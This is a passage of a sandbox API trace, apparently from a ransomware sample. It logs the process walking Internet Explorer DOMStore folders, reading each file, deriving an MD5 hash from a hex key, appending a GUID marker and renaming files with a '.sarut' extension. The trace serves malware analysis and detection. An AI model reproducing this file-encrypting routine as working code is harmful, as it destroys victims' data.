lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0273.667] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.667] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.668] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0273.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0273.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0273.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0273.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.668] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.668] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.668] PathFindFileNameW (pszPath="") returned="" [0273.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.669] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.669] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0273.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0273.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0273.670] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=13) returned 1 [0273.670] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0273.672] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.672] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd, lpOverlapped=0x0) returned 1 [0273.673] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.673] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.673] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.673] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0273.674] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0273.674] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0273.674] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0273.674] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0273.674] GetLastError () returned 0x0 [0273.674] CryptDestroyHash (hHash=0x3091560) returned 1 [0273.674] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0273.674] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.675] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0273.675] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0273.675] CloseHandle (hObject=0x5c4) returned 1 [0273.676] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.sarut")) returned 1 [0273.679] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0273.679] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.679] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.679] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0273.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0273.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0273.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0273.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.680] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.680] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.680] PathFindFileNameW (pszPath="") returned="" [0273.680] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.681] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.681] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0273.681] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0273.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0273.682] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=13) returned 1 [0273.682] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0273.684] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.684] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd, lpOverlapped=0x0) returned 1 [0273.685] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.685] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.685] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.685] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0273.686] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0273.686] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0273.686] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0273.686] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0273.686] GetLastError () returned 0x0 [0273.686] CryptDestroyHash (hHash=0x3091560) returned 1 [0273.686] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0273.687] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.687] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0273.687] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0273.687] CloseHandle (hObject=0x5c4) returned 1 [0273.687] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.sarut")) returned 1 [0273.689] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0273.689] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.689] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.689] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0273.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0273.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0273.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0273.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.690] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.690] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.690] PathFindFileNameW (pszPath="") returned="" [0273.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.692] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.692] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.692] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.692] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.692] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0273.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0273.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0273.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0273.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.693] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.693] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.693] PathFindFileNameW (pszPath="") returned="" [0273.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.693] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.693] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0273.693] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0273.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0273.694] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=836) returned 1 [0273.694] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0273.696] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.696] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0273.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0273.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0273.760] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.760] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x344, lpOverlapped=0x0) returned 1 [0273.760] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.760] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0273.760] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.760] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.760] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0273.761] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0273.761] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0273.761] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0273.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0273.761] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0273.761] GetLastError () returned 0x0 [0273.761] CryptDestroyHash (hHash=0x3091560) returned 1 [0273.761] CryptReleaseContext 